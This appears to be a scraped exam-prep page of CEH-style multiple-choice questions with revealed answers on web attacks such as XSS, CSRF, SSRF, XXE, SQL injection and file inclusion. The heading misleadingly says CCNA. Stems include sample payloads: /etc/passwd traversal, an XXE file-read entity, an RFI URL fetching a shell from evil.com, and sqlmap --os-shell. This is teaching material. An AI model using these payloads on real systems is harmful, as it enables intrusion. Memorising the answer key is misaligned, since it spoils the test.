Courseiva
HTTP/1.1…","url":"https://courseiva.com/questions/ec-council/ec-ceh/an-analyst-reviews-a-web-server-log-and-sees-the-following-r-vknfi"}]}

CCNA Web Application and Injection Attacks Questions

75 of 158 questions · Page 2/3 · Web Application and Injection Attacks · Answers revealed

76
MCQmedium

A security analyst notices that a web application returns different HTTP responses for valid and invalid usernames during login. Which attack is this behavior most likely facilitating?

A.Username enumeration
B.Cross-site scripting (XSS)
C.Directory traversal
D.SQL injection
AnswerA

Username enumeration occurs when a web application's login mechanism provides distinct responses or behaviors for valid versus invalid usernames. This difference, which could manifest as varying HTTP status codes, specific error messages (e.g., "Username exists" vs. "Invalid credentials"), or even subtle timing discrepancies, allows an attacker to systematically test usernames and identify which ones correspond to existing accounts. Once valid usernames are identified, they become targets for subsequent brute-force attacks or credential stuffing.

Why this answer

The difference in responses (e.g., 'User not found' vs 'Invalid password') allows an attacker to enumerate valid usernames, which is a common first step in credential stuffing or brute-force attacks.

77
Multi-Selecthard

A security engineer is reviewing web server logs and finds the following request: GET /files/../../../etc/passwd HTTP/1.1. Which THREE attacks could be associated with this request? (Choose THREE.)

Select 3 answers
A.Directory traversal
B.File disclosure
C.SQL injection
D.Command injection
E.Local File Inclusion (LFI)
AnswersA, B, E

Directory traversal, also known as path traversal, is an attack that allows an attacker to access files and directories stored outside the web root directory. The `../` sequences in the request are a clear indicator, as they instruct the server to navigate up the directory hierarchy. By repeatedly using `../`, the attacker attempts to escape the restricted web directory and access sensitive system files like `/etc/passwd`.

Why this answer

The request uses path traversal to access /etc/passwd (directory traversal/LFI). It can be used for file disclosure, and if the file is included in a script, it could be LFI. Command injection is not related.

78
MCQmedium

During a web application test, an analyst intercepts a request containing a 'Referer' header that points to a different domain. The analyst modifies the request by removing the 'Referer' header and the action still executes successfully. Which type of attack is the analyst testing?

A.Server-Side Request Forgery (SSRF)
B.Clickjacking
C.Cross-Site Request Forgery (CSRF)
D.Cross-Site Scripting (XSS)
AnswerC

Cross-Site Request Forgery (CSRF) exploits a user's authenticated session to force their browser to send an unwanted request to a vulnerable web application. A common defense against CSRF involves the server inspecting the HTTP Referer header to verify that the request originated from the application's own domain, preventing requests from external, malicious sites. An analyst successfully bypassing this Referer header check by manipulating or omitting it directly demonstrates a CSRF vulnerability, as the server's origin validation mechanism has been defeated.

Why this answer

CSRF protection often relies on checking the Referer header; if it can be removed or spoofed, the application is vulnerable to CSRF.

79
MCQeasy

Which Burp Suite tool is specifically designed to automate customized attacks against web applications, such as brute-forcing login credentials or fuzzing parameters?

A.Repeater
B.Scanner
C.Intruder
D.Proxy
AnswerC

Burp Intruder is specifically engineered to automate custom, payload-driven attacks against web applications. Users define "payload positions" within a base request, then configure various payload sets and attack types (e.g., Sniper, Battering Ram, Pitchfork) to systematically inject values into those positions. This powerful tool is ideal for brute-forcing, fuzzing, credential stuffing, and other repetitive tasks requiring automated request modification and response analysis.

Why this answer

Burp Intruder is used for automating customized attacks, including brute force and fuzzing.

80
MCQhard

A penetration tester intercepts the following request using Burp Suite: POST /change_password HTTP/1.1 Host: example.com Cookie: sessionid=abc123; SameSite=Lax Content-Type: application/x-www-form-urlencoded new_password=Hacker123 The tester successfully crafts a CSRF attack by embedding a hidden form in a malicious page. Which mitigation is most likely missing?

A.SameSite=Strict
B.HTTPOnly flag
C.Secure flag
D.CSRF token
AnswerD

A CSRF token is a unique, unpredictable, and secret value generated by the server and included with every state-changing request, typically embedded in hidden form fields or request headers. The server validates this token upon receiving the request, ensuring it matches the token associated with the user's session. Since a malicious attacker operating from a different origin cannot obtain or guess this secret token, they cannot craft a valid forged request that the server would accept, thereby effectively preventing CSRF attacks.

Why this answer

The presence of a SameSite cookie set to Lax does not prevent CSRF for state-changing requests like password change if the attack uses a GET or POST from a top-level navigation. However, the primary missing mitigation is a CSRF token, which is a unique unpredictable value tied to the session and validated by the server.

81
Multi-Selectmedium

A security analyst identifies that a web application is vulnerable to Server-Side Request Forgery (SSRF). Which TWO of the following are effective mitigation techniques for SSRF?

Select 2 answers
A.Disable unnecessary URL schemas (e.g., file://, dict://)
B.Use a blacklist to block private IP ranges
C.Increase the timeout for HTTP requests
D.Implement an allowlist of permitted URLs or IP addresses
E.Encode user input in base64 before passing to URL functions
AnswersA, D

Disabling unnecessary URL schemas, such as `file://`, `dict://`, `gopher://`, or `ftp://`, is a crucial mitigation for Server-Side Request Forgery (SSRF). By restricting the protocols the server can use to make outbound requests, the attack surface is significantly reduced. This prevents attackers from leveraging the vulnerability to access local files, perform port scanning, or interact with internal services using non-HTTP protocols, thereby blocking common exploitation vectors.

Why this answer

Whitelisting allowed domains prevents requests to arbitrary targets. Disabling unused URL schemas (e.g., file://) reduces attack surface. Input validation alone is insufficient.

82
MCQeasy

Which of the following describes the difference between reflected and stored (persistent) cross-site scripting (XSS)?

A.Reflected XSS is a server-side vulnerability, while stored XSS is a client-side vulnerability
B.Reflected XSS is non-persistent and requires user interaction, while stored XSS is persistent and can affect multiple users
C.Reflected XSS only works with HTTP POST requests, while stored XSS works with GET requests
D.Reflected XSS is triggered by the server, while stored XSS is triggered by the client
AnswerB

This statement accurately describes the core differences. Reflected XSS is non-persistent because the malicious payload is delivered via a crafted URL or form submission and is immediately reflected in the server's response, requiring the victim to click a specific link. In contrast, Stored XSS is persistent; the malicious script is permanently saved on the target server (e.g., in a database) and is then served to any user who accesses the vulnerable web page, affecting multiple users without individual interaction beyond visiting the compromised page.

Why this answer

Reflected XSS is injected via the current request (e.g., URL parameter) and the script reflects immediately in the response. Stored XSS is saved on the server (e.g., in a database) and executed when other users view the affected page.

83
MCQhard

A web application uses XML to transfer data. An attacker submits the following payload: '<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>'. What vulnerability is being exploited?

A.XML External Entity (XXE) injection
B.Directory traversal
C.Server-Side Request Forgery (SSRF)
D.Command injection
AnswerA

XML External Entity (XXE) injection occurs when an XML parser processes a DOCTYPE declaration that defines an external entity, allowing the attacker to include content from external URIs or local files into the XML document. By defining an entity that points to a file path like `/etc/passwd`, the server's XML parser will attempt to resolve and embed the file's content within the XML response or process it internally. This vulnerability leverages the server's ability to fetch resources specified within the DTD, leading to information disclosure or even server-side request forgery.

Why this answer

This is an XML External Entity (XXE) injection attack, where an external entity is defined to read local files.

84
MCQmedium

A security analyst observes that after a user submits a comment on a blog, the comment is displayed immediately on the page without sanitization. Another user visits the page and the comment's JavaScript executes in their browser. Which type of XSS attack is this?

A.DOM-based XSS
B.Reflected XSS
C.Self-XSS
D.Stored XSS
AnswerD

Stored Cross-Site Scripting (XSS), also known as Persistent XSS, occurs when a malicious script is permanently saved on the target server, typically within a database, message board, or comment section. When any user subsequently accesses the affected web page, the server retrieves and delivers the stored malicious payload along with the legitimate content. This script then executes automatically in the victim's browser, impacting all users who view the compromised data without requiring any specific interaction from them beyond page access.

Why this answer

The comment is stored on the server and executed when other users view the page, which is the definition of stored (persistent) XSS.

85
MCQhard

A penetration tester uses SQLMap with the following command: sqlmap -u 'http://target.com/page.php?id=1' --batch --dbs. Which database enumeration technique is SQLMap using by default?

A.Out-of-band SQL injection
B.Blind SQL injection
C.Time-based SQL injection
D.In-band SQL injection
AnswerD

In-band SQL injection is SQLMap's default and preferred method because it allows the attacker to retrieve data directly through the same communication channel used for the original query. This category includes UNION-based attacks, which append a malicious SELECT statement to the original query to return additional data, and error-based attacks, which force the database to return error messages containing query results. These methods are generally the fastest and most efficient for data extraction when applicable, providing immediate feedback.

Why this answer

Without specifying a technique, SQLMap defaults to using in-band (UNION) and error-based techniques, which are all in-band.

86
MCQeasy

Which of the following is the primary purpose of using a CSRF token in a web application?

A.Prevent cross-site request forgery
B.Prevent session hijacking
C.Prevent XSS
D.Prevent SQL injection
AnswerA

Cross-Site Request Forgery (CSRF) attacks trick authenticated users into submitting unintended requests to a web application, leveraging their existing session. CSRF tokens are unique, unpredictable, and secret values generated by the server and embedded within forms or request headers. Upon submission, the server validates the token, ensuring the request originated from the legitimate application and user, thereby preventing an attacker's forged request from being processed.

Why this answer

CSRF tokens are unique, unpredictable values embedded in forms or requests that validate the request originated from the legitimate application, preventing cross-site request forgery attacks.

87
MCQmedium

An organization wants to prevent directory listing on its Apache web server. Which of the following configuration changes would achieve this?

A.Set 'AllowOverride None'
B.Set 'ServerSignature Off'
C.Set 'Options -Indexes' in the httpd.conf or .htaccess file
D.Set 'DirectoryIndex disabled'
AnswerC

The 'Options -Indexes' directive explicitly disables the automatic generation of directory listings when a default index file (such as index.html or index.php) is not found within a directory. By removing the 'Indexes' option, the web server is configured to return a '403 Forbidden' error instead of displaying the contents of the directory to the client. This is the direct and intended method for preventing directory browsing in Apache, effectively mitigating information disclosure risks.

Why this answer

Disabling the Indexes option in the Directory directive prevents Apache from listing directory contents when no index file exists.

88
MCQhard

An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?

A.Directory traversal
B.Local File Inclusion (LFI)
C.Command injection
D.Remote File Inclusion (RFI)
AnswerD

Remote File Inclusion (RFI) vulnerabilities allow an attacker to force the web application to include and execute or display a file hosted on a remote server, typically controlled by the attacker. This is achieved by injecting a full URL into a vulnerable parameter that the application uses to dynamically include files. The payload's explicit use of a remote URL is the defining characteristic of an RFI attack, enabling the server to fetch and process content from an external source.

Why this answer

Remote File Inclusion (RFI) allows an attacker to include a remote file, often leading to arbitrary code execution if the included file contains PHP or other executable code. The 'file' parameter is used to include a remote resource.

89
Multi-Selecthard

Which THREE of the following are types of SQL injection attacks? (Choose 3)

Select 3 answers
A.Out-of-band SQLi (e.g., DNS or HTTP exfiltration)
B.Stored SQLi
C.In-band SQLi (error-based or union-based)
D.Blind (inferential) SQLi (boolean- or time-based)
E.Reflected SQLi
AnswersA, C, D

Out-of-band uses a different channel (e.g., DNS) to receive data.

Why this answer

Out-of-band SQLi (option A) is correct because it uses a different channel (e.g., DNS or HTTP requests) to exfiltrate data when the attacker cannot receive direct responses from the database. This technique is effective when the database server can initiate outbound network connections, allowing data to be sent to an attacker-controlled server via DNS queries or HTTP requests.

Exam trap

EC-Council often tests candidates by mixing SQL injection categories with XSS terminology (stored/reflected) to see if they confuse web attack types; the trap here is that 'stored' and 'reflected' are not SQLi types but XSS variants.

90
MCQmedium

An analyst observes the following log entry on a web server: GET /../../etc/passwd HTTP/1.1 200. Which type of attack is indicated?

A.Directory traversal
B.SSRF
C.LFI
D.Command injection
AnswerA

Directory traversal, also known as path traversal, is an attack that exploits vulnerabilities in web server software or applications to access files and directories stored outside the intended web root directory. The '../' sequence observed in the log entry is a classic technique used to navigate up the directory hierarchy, allowing an attacker to read sensitive files like configuration files, password files, or source code that should not be publicly accessible. This specific request clearly demonstrates an attempt to traverse directories to access '/etc/passwd'.

Why this answer

The log shows a request attempting to traverse directories using '../' to access a sensitive system file (/etc/passwd), which is directory traversal.

91
Multi-Selecteasy

Which TWO of the following are characteristics of stored (persistent) XSS?

Select 2 answers
A.The attack requires the victim to click a crafted link
B.The payload is reflected immediately in the response
C.The malicious script is stored on the server (e.g., in a database)
D.The attack only works if the victim is logged in
E.The attack can affect multiple users without direct interaction
AnswersC, E

A defining characteristic of Stored XSS, also known as Persistent XSS, is that the attacker's malicious script is successfully injected into and saved within the web application's backend infrastructure, such as a database, comment section, or user profile. This persistence means the payload remains on the server, ready to be delivered to any user who later requests the affected content, making it a highly potent and widespread threat.

Why this answer

Stored XSS involves malicious script being permanently stored on the server (e.g., in a database) and executed whenever the stored content is accessed. It does not require a crafted link, and it can affect multiple users without direct interaction.

92
MCQhard

A security team discovers that their web application is vulnerable to a Server-Side Request Forgery (SSRF) attack. Which of the following is the MOST effective mitigation technique to prevent SSRF?

A.Implement a whitelist of allowed domains and IP addresses for outbound requests
B.Use input validation to block URLs containing '127.0.0.1' or 'localhost'
C.Implement CSRF tokens on all forms
D.Disable unnecessary HTTP methods on the web server
AnswerA

Implementing a whitelist of allowed domains and IP addresses for outbound requests is the most effective defense against Server-Side Request Forgery (SSRF). This robust control ensures the server can only initiate connections to explicitly permitted external resources or internal services. By strictly restricting outbound connections to a predefined, trusted list, any attempt by an attacker to force the server to connect to unauthorized internal systems or arbitrary external hosts will be blocked, directly mitigating the SSRF vulnerability.

Why this answer

Whitelisting allowed domains and IP addresses is the most effective SSRF mitigation because it restricts the server from making requests to arbitrary external or internal resources.

93
MCQeasy

Which of the following is a primary defense against SQL injection attacks?

A.Prepared statements
B.HTTPS encryption
C.Input blacklisting
D.Output encoding
AnswerA

Prepared statements, also known as parameterized queries, are a primary defense against SQL injection because they fundamentally separate the SQL code logic from user-supplied data. The database engine pre-compiles the query structure, treating all subsequent input as literal data values rather than executable SQL commands. This mechanism ensures that malicious characters within user input cannot alter the intended query structure, effectively preventing injection attacks by ensuring input is never interpreted as code.

Why this answer

Prepared statements with parameterized queries ensure user input is treated as data, not executable SQL code.

94
Multi-Selecthard

Which THREE of the following are common indicators of an SQL injection attack? (Choose 3.)

Select 3 answers
A.Frequent 302 redirects to login pages
B.Multiple failed connection attempts in server logs
C.Unexpected rows or columns in query results
D.Unusually slow database responses
E.Database error messages in the application response
AnswersC, D, E

The presence of unexpected rows or columns in an application's query results is a strong indicator of a successful UNION-based SQL injection. Attackers leverage the `UNION` operator to combine the results of their malicious query with the legitimate query, thereby extracting data from other tables or databases that were not intended for display. This manipulation directly alters the structure and content of the returned dataset, making it a clear sign of data exfiltration or unauthorized data retrieval.

Why this answer

SQL injection attacks commonly cause unexpected rows or columns in query results due to manipulated queries, unusually slow database responses from resource-intensive operations like UNION or subqueries, and database error messages that reveal syntax or structure to the attacker. Frequent 302 redirects and many failed connection attempts are not typical or specific indicators of SQL injection.

95
MCQmedium

A penetration tester needs to perform a brute-force attack on a web application login form. Which Burp Suite tool is specifically designed for automating parameterized attacks like password guessing?

A.Repeater
B.Scanner
C.Intruder
D.Proxy
AnswerC

Intruder is purpose-built for automating parameterized attacks by systematically injecting various payloads into specified insertion points within an HTTP request. It enables sophisticated brute-force, dictionary, and credential stuffing attacks by iterating through user-defined lists or generated sequences of values. This module offers multiple attack types, such as Sniper or Battering Ram, to efficiently test a wide range of input fields for vulnerabilities or weak credentials.

Why this answer

Burp Suite Intruder is specifically designed for automating parameterized attacks, such as brute-forcing login credentials, by allowing the tester to define payload positions and iterate through a list of values (e.g., passwords) against a target endpoint. Unlike other tools in Burp Suite, Intruder supports multiple attack types (Sniper, Battering Ram, Pitchfork, Cluster Bomb) and can handle rate limiting and session handling, making it ideal for password guessing.

Exam trap

EC-Council often tests the misconception that Repeater can be used for brute-forcing because it can resend requests, but Repeater lacks the automated payload iteration and response analysis features that Intruder provides.

How to eliminate wrong answers

Option A is wrong because Repeater is used for manually resending and modifying individual HTTP requests to observe responses, not for automating multiple iterations of parameterized attacks. Option B is wrong because Scanner is designed for automated vulnerability detection (e.g., SQL injection, XSS) and does not support custom payload lists or brute-force sequencing. Option D is wrong because Proxy is an intercepting proxy that captures and forwards traffic between the browser and target, but it lacks the automation and payload iteration capabilities required for brute-force attacks.

96
MCQhard

A security engineer observes that an internal web application uses XML to transmit data between systems. The engineer discovers that by sending a crafted XML payload, they can read sensitive files from the server's filesystem. Which attack is being performed?

A.SSRF
B.Command injection
C.XXE injection
D.XPath injection
AnswerC

XXE injection occurs when an XML parser processes XML input containing references to external entities, which are then resolved by the server without proper validation. Attackers can define malicious external entities within the Document Type Definition (DTD) to exploit this, often using the "file://" protocol to read local files from the server's filesystem, such as configuration files or sensitive credentials. This direct file disclosure via XML entity processing perfectly matches the described observation.

Why this answer

XXE (XML External Entity) injection allows reading files via external entities in XML.

97
MCQeasy

A web application allows users to view documents by specifying a filename in the URL, e.g., /getDocument?file=report.pdf. A tester changes the file parameter to '../../etc/passwd' and retrieves the system password file. Which vulnerability is being exploited?

A.Local File Inclusion (LFI)
B.Directory traversal
C.Remote File Inclusion (RFI)
D.Command injection
AnswerB

Directory traversal, also known as path traversal, is a vulnerability that permits an attacker to read arbitrary files on the server's file system by manipulating file paths in user-supplied input. This exploit uses sequences like "../" (dot-dot-slash) to navigate outside the intended directory, bypassing security controls that fail to properly validate or sanitize file names or paths. The ability to "view documents by specifying" a path directly aligns with this vulnerability, as it focuses on accessing files located anywhere on the server.

Why this answer

Directory traversal (path traversal) occurs when user input is used to access files outside the intended directory. The use of '../' sequences indicates directory traversal.

98
Multi-Selecteasy

A web application tester encounters a parameter that is reflected in the response without sanitization. The tester suspects XSS. Which TWO types of XSS could be present in this scenario? (Choose TWO.)

Select 2 answers
A.DOM-based XSS
B.Reflected XSS
C.Self-XSS
D.Stored (persistent) XSS
E.Blind XSS
AnswersA, B

This vulnerability occurs entirely on the client-side when a web application's JavaScript code processes user-controllable data, often from the URL fragment (#) or query string (?), and writes it unsafely into the Document Object Model (DOM). If the client-side script dynamically generates HTML or JavaScript using this unvalidated input, an attacker can inject malicious code that executes within the victim's browser. The "reflection" happens within the browser's DOM, not necessarily on the server's response.

Why this answer

Reflected XSS occurs when the input is immediately reflected in the response. DOM-based XSS occurs when client-side JavaScript processes the input unsafely. Stored XSS requires data to be saved on the server, which is not indicated here.

99
MCQmedium

A security analyst notices that a web application returns different error messages for valid and invalid usernames during login. Which type of attack is this application MOST vulnerable to?

A.Directory traversal
B.Username enumeration
C.SQL injection
D.Cross-site scripting (XSS)
AnswerB

Username enumeration occurs when a web application's login mechanism provides distinct error messages or response times for valid usernames compared to invalid ones, even if the password is incorrect. For instance, "Invalid password for user 'admin'" versus "User 'admin' does not exist." This differential feedback allows an attacker to systematically test common usernames and compile a list of valid accounts, significantly aiding in subsequent brute-force or credential stuffing attacks.

Why this answer

The different error messages allow an attacker to enumerate valid usernames, which is a common precursor to brute-force or credential-stuffing attacks.

100
MCQhard

A penetration tester is testing an IIS web server and wants to exploit a WebDAV misconfiguration to upload a web shell. Which HTTP method should the tester check to determine if WebDAV is enabled and allows file uploads?

A.OPTIONS
B.MOVE
C.PUT
D.PROPFIND
AnswerA

The HTTP OPTIONS method is specifically designed to query a web server or resource about the communication options supported by the server for that particular URL. It provides a list of allowed HTTP methods (e.g., GET, HEAD, POST, PUT, DELETE, TRACE, CONNECT) in the 'Allow' header of its response. This is crucial for a penetration tester to discover if potentially vulnerable methods like PUT (for file upload) or WebDAV methods are enabled before attempting to exploit them.

Why this answer

The OPTIONS method queries the server for supported HTTP methods. If WebDAV is enabled, the response will include methods like PUT, DELETE, PROPFIND, etc. PUT is used for upload, but OPTIONS first confirms availability.

101
MCQhard

During a web application assessment, a tester intercepts a request and modifies the 'Referer' header. The application then performs a state-changing action without requiring a token. Which vulnerability is most likely present?

A.Cross-site scripting (XSS)
B.Server-side request forgery (SSRF)
C.Cross-site request forgery (CSRF)
D.Clickjacking
AnswerC

Cross-site request forgery (CSRF) exploits the trust a web application has in an authenticated user's browser. An attacker crafts a malicious web page or email that, when visited or opened by an authenticated user, forces their browser to send an unintended request to the vulnerable application. The application, failing to verify the request's true origin or intent, processes the forged request, often relying on session cookies. Manipulating or bypassing checks on the Referer header can be a technique used in CSRF attacks, as applications sometimes use it as a weak defense to ensure requests originate from the expected domain.

Why this answer

Cross-Site Request Forgery (CSRF) attacks rely on the application not verifying the origin of the request; a missing CSRF token and lack of Referer validation make the application vulnerable.

102
MCQeasy

A web application tester uses the following Burp Suite feature to automatically send multiple requests with different payloads to test for common vulnerabilities. Which feature is being used?

A.Intruder
B.Repeater
C.Proxy
D.Scanner
AnswerA

Intruder is the dedicated Burp Suite tool for automating customized attacks against web applications by systematically sending multiple requests with variable payloads. It allows testers to define specific insertion points within a request and iterate through a list of payloads, making it ideal for brute-forcing credentials, fuzzing input fields, and identifying injection vulnerabilities like SQLi or XSS with high precision and control over attack types.

Why this answer

Burp Intruder is designed for automated request customization and repetition, allowing fuzzing of parameters for injection flaws, brute-force attacks, and other vulnerability testing.

103
MCQmedium

A penetration tester discovers that a web application's search functionality reflects user input directly in the page source without sanitization. The tester crafts a URL like http://example.com/search?q=<script>alert('XSS')</script> and the script executes. This is an example of which type of XSS?

A.Stored (persistent) XSS
B.Blind XSS
C.DOM-based XSS
D.Reflected XSS
AnswerD

Reflected XSS occurs when a malicious script, supplied in an HTTP request, is immediately and unsafely echoed back in the server's HTTP response. The server takes user-supplied input, often from a URL parameter, and directly embeds it into the HTML page without adequate sanitization or encoding. This causes the victim's browser to execute the script upon receiving the crafted response, making it a non-persistent, single-request attack.

Why this answer

Reflected XSS occurs when user input is immediately returned by the server in the response, without being stored, and the example shows the payload in the URL parameter.

104
MCQeasy

Which of the following tools is specifically designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications?

A.Burp Suite
B.Nikto
C.Metasploit
D.SQLMap
AnswerD

SQLMap is an open-source penetration testing tool specifically engineered to automate the process of detecting and exploiting SQL injection flaws in web applications. It supports a wide array of SQL injection techniques, including boolean-based blind, error-based, union query, stacked queries, and time-based blind, across various database management systems. Its specialized algorithms and extensive payload database make it highly efficient and effective for fully automating the identification and exploitation of SQL injection vulnerabilities.

Why this answer

SQLMap is a well-known open-source tool that automates the process of detecting and exploiting SQL injection vulnerabilities. Burp Suite is a web proxy and scanner, Nikto is a web server scanner, and Metasploit is a penetration testing framework with broader capabilities.

105
MCQhard

A penetration tester uses SQLMap with the option '--technique=T --dbms=MySQL --level=5 --risk=3' against a login form. The tool returns results after a delay of several seconds per request. Which SQL injection technique is being used?

A.Out-of-band SQL injection
B.Time-based blind SQL injection
C.Error-based SQL injection
D.Boolean-based blind SQL injection
AnswerB

Time-based blind SQL injection is a technique where the attacker infers information by observing the time it takes for the database server to respond to specific queries. By introducing conditional delays (e.g., IF(condition, SLEEP(5), 0)), the presence or absence of a delay indicates whether the condition is true or false. The 'T' option in sqlmap explicitly instructs the tool to employ this method, making it the correct answer.

Why this answer

The 'T' in --technique stands for Time-based blind SQL injection. The delay indicates time-based injection where the database sleeps to cause a response delay.

106
MCQmedium

During a penetration test, a security analyst discovers that a web application uses sequential numeric identifiers in URLs (e.g., /profile?id=100). By modifying the id parameter, the analyst can access another user's profile data without authorization. Which vulnerability is being exploited?

A.SQL injection
B.Insecure Direct Object Reference (IDOR)
C.Server-Side Request Forgery (SSRF)
D.Cross-Site Request Forgery (CSRF)
AnswerB

Insecure Direct Object Reference (IDOR) occurs when an application exposes a direct reference to an internal implementation object, such as a file, directory, or database record, and fails to implement sufficient authorization checks. By manipulating parameters like 'id' in a URL or API request, an attacker can bypass authorization and access resources belonging to other users or system components. This direct manipulation of object identifiers to gain unauthorized access perfectly describes the scenario where changing an 'id' parameter reveals another user's data.

Why this answer

IDOR (Insecure Direct Object Reference) occurs when an application exposes internal object references (e.g., database keys) and fails to enforce proper access controls, allowing users to manipulate them to access unauthorized data.

107
MCQmedium

A security analyst is reviewing HTTP response headers and notices the following: Set-Cookie: sessionId=abc123; SameSite=Lax. What is the primary purpose of the SameSite attribute?

A.To enforce HTTPS for cookie transmission
B.To prevent the cookie from being accessed by JavaScript
C.To mitigate cross-site request forgery (CSRF) attacks
D.To ensure the cookie is only sent over HTTP and not FTP
AnswerC

The SameSite cookie attribute directly addresses Cross-Site Request Forgery (CSRF) attacks by restricting when a browser sends cookies with cross-site requests. By setting SameSite to Lax or Strict, the browser will not attach the session cookie to requests originating from a different site, effectively preventing an attacker's forged request from being authenticated by the victim's browser. This significantly reduces the risk of unauthorized actions being performed on behalf of the user without their explicit intent.

Why this answer

SameSite=Lax prevents the browser from sending the cookie in cross-site requests initiated by third-party websites, mitigating CSRF attacks.

108
MCQeasy

Which Burp Suite tool is specifically designed to automate customized attacks on web applications, such as brute-forcing login forms or fuzzing parameters?

A.Repeater
B.Proxy
C.Scanner
D.Intruder
AnswerD

Burp Intruder is specifically engineered for automating customized attacks against web applications, making it ideal for brute-forcing, fuzzing, and credential stuffing. It allows users to define specific insertion points within a request and then systematically iterate through custom payload lists, applying various attack types like Sniper, Battering Ram, Pitchfork, and Cluster Bomb. This precise control over payload generation and delivery makes it the tool of choice for automating targeted attack scenarios.

Why this answer

Burp Intruder is the tool for automating customized attacks like brute-forcing and fuzzing.

109
MCQmedium

A web application allows users to submit feedback that is stored in a database and later displayed to administrators. An attacker submits feedback containing <script>alert('stored')</script>. When an admin views the feedback page, the script executes. Which type of XSS is this?

A.Blind XSS
B.Reflected XSS
C.Stored XSS
D.DOM-based XSS
AnswerC

Stored XSS, also known as Persistent XSS, is a severe web vulnerability where a malicious script is permanently saved on the target server, typically within a database, comment section, or feedback system. When a legitimate user, such as an administrator, later retrieves and views the compromised data, their browser executes the embedded script without their knowledge. This allows the attacker to compromise user sessions, deface websites, or redirect victims, making it a highly impactful vulnerability due to its persistence and widespread potential.

Why this answer

Stored (persistent) XSS occurs when the payload is stored on the server and served to other users later.

110
MCQmedium

A penetration tester discovers that a web application includes the following code: 'include($_GET['page'] . '.php');' and the application is running on a Linux server. The tester attempts to exploit this by accessing 'index.php?page=../../etc/passwd'. What type of attack is this, and will it succeed?

A.Directory traversal; it will succeed because '../' bypasses restrictions
B.Remote File Inclusion (RFI); it will succeed because the parameter is not filtered
C.Command injection; it will succeed if the server interprets PHP code
D.Local File Inclusion (LFI); it will not succeed because the '.php' extension is appended
AnswerD

Local File Inclusion (LFI) is the correct classification for this vulnerability, as it involves an attempt to include files present on the web server's local file system. However, the crucial detail preventing immediate success is the automatic appending of the ".php" extension to the user-supplied input. This means an attempt to include a file like "/etc/passwd" would result in the application trying to include "/etc/passwd.php", which typically does not exist, thereby blocking direct access to the target file without further bypass techniques.

Why this answer

This is a Local File Inclusion (LFI) vulnerability. The appended '.php' extension prevents reading '/etc/passwd' because the file would be interpreted as '/etc/passwd.php', which does not exist.

111
MCQmedium

An analyst notices that a web application's login page returns a generic 'Invalid credentials' message regardless of whether the username is valid. This is an example of which security control?

A.Anti-CSRF token
B.Account lockout policy
C.Generic error messages
D.Rate limiting
AnswerC

Generic error messages, such as "Invalid username or password," are a crucial defense against username enumeration vulnerabilities. By providing the exact same response regardless of whether the submitted username is valid but the password is wrong, or if the username itself does not exist in the system, the application denies attackers the ability to differentiate between these two states. This ambiguity prevents an attacker from systematically testing a list of potential usernames to identify which ones are registered within the system.

Why this answer

Providing generic error messages prevents attackers from enumerating valid usernames, which is a common mitigation against brute-force attacks.

112
MCQmedium

A security analyst observes that a web application's login page responds with different HTTP status codes and response times for valid versus invalid usernames. This information leakage could be used to perform which type of authentication attack?

A.Username enumeration
B.Credential stuffing
C.Password spraying
D.Brute force attack
AnswerA

Username enumeration is an attack where an attacker attempts to discover valid usernames by observing differences in application responses (e.g., distinct error messages, varying HTTP status codes, or even subtle timing discrepancies) when submitting valid versus invalid usernames. For instance, a "User not found" message for an invalid username compared to an "Incorrect password" message for a valid one clearly indicates a username's existence, allowing an attacker to compile a list of active accounts. This technique is a critical precursor to many other credential-based attacks.

Why this answer

Username enumeration occurs when an application reveals whether a username exists, often through differing error messages or response times. This information can be leveraged for brute force or password spraying attacks by focusing on valid usernames.

113
MCQmedium

A penetration tester uses a tool to intercept and modify HTTP/HTTPS requests in real-time between the browser and the web application. Which tool is being used?

A.SQLMap
B.Burp Suite Proxy
C.Nmap
D.Metasploit
AnswerB

Burp Suite Proxy is a core component of the Burp Suite platform, specifically engineered to sit between a web browser and a target web server. It functions as an intercepting HTTP/S proxy, allowing a penetration tester to view, modify, and replay individual requests and responses in real-time before they reach their destination. This capability is fundamental for identifying vulnerabilities by manipulating parameters, headers, and other traffic components.

Why this answer

Burp Suite's Proxy module allows interception and modification of HTTP/HTTPS traffic. Repeater is for resending requests, Intruder for automated attacks, Scanner for vulnerability scanning.

114
Multi-Selecthard

Which THREE of the following are types of SQL injection attacks? (Select 3)

Select 3 answers
A.DOM-based SQL injection
B.Stored SQL injection
C.Blind SQL injection (boolean-based, time-based)
D.In-band SQL injection (error-based, union-based)
E.Out-of-band SQL injection
AnswersC, D, E

Blind infers results without direct output.

Why this answer

Blind SQL injection is a recognized type of SQL injection attack where the attacker does not receive direct error messages or data from the database but instead infers information by observing the application's response (boolean-based) or by causing time delays (time-based). This technique is commonly used when the application is configured to suppress error output, forcing the attacker to rely on side-channel behaviors.

Exam trap

The trap here is that candidates often confuse 'DOM-based' (an XSS attack) with a SQL injection type, or mistakenly think 'Stored SQL injection' is a primary category, when the CEH exam strictly recognizes in-band, blind, and out-of-band as the three main types of SQL injection attacks.

115
MCQhard

During a penetration test, a tester uses SQLMap with the following command: 'sqlmap -u "http://target.com/page?id=1" --os-shell'. The target is a Linux server running MySQL. Which SQL injection technique will SQLMap likely attempt to use to achieve an OS shell?

A.Error-based injection
B.In-band (file write via INTO OUTFILE)
C.Blind boolean-based injection
D.Union-based injection
AnswerB

In-band SQL injection involves using the same communication channel for both injecting the payload and receiving the results, making it a direct interaction. Specifically, the `INTO OUTFILE` clause in SQL allows the result of a query to be written directly to a file on the database server's filesystem. SQLMap utilizes this functionality to upload a webshell or other malicious files, provided the database user has sufficient `FILE` privileges and the target directory is writable, thereby achieving direct file write capability.

Why this answer

SQLMap's --os-shell option typically uses the 'INTO OUTFILE' clause to write a backdoor webshell onto the server, requiring file write privileges. This is an in-band technique.

116
MCQeasy

Which of the following is a common defense against clickjacking attacks?

A.CSRF tokens
B.Content Security Policy (CSP) with 'frame-ancestors' directive
C.SameSite cookies
D.Input validation
AnswerB

The `Content-Security-Policy` (CSP) header with the `frame-ancestors` directive explicitly defines which origins are permitted to embed the current resource in a frame, iframe, object, or embed tag. By restricting framing to 'self' or specific trusted domains (e.g., `frame-ancestors 'self'`), this policy directly prevents malicious external websites from embedding the target page. This robust defense effectively mitigates clickjacking attacks by controlling the contexts in which a page can be framed, thereby preventing UI redressing.

Why this answer

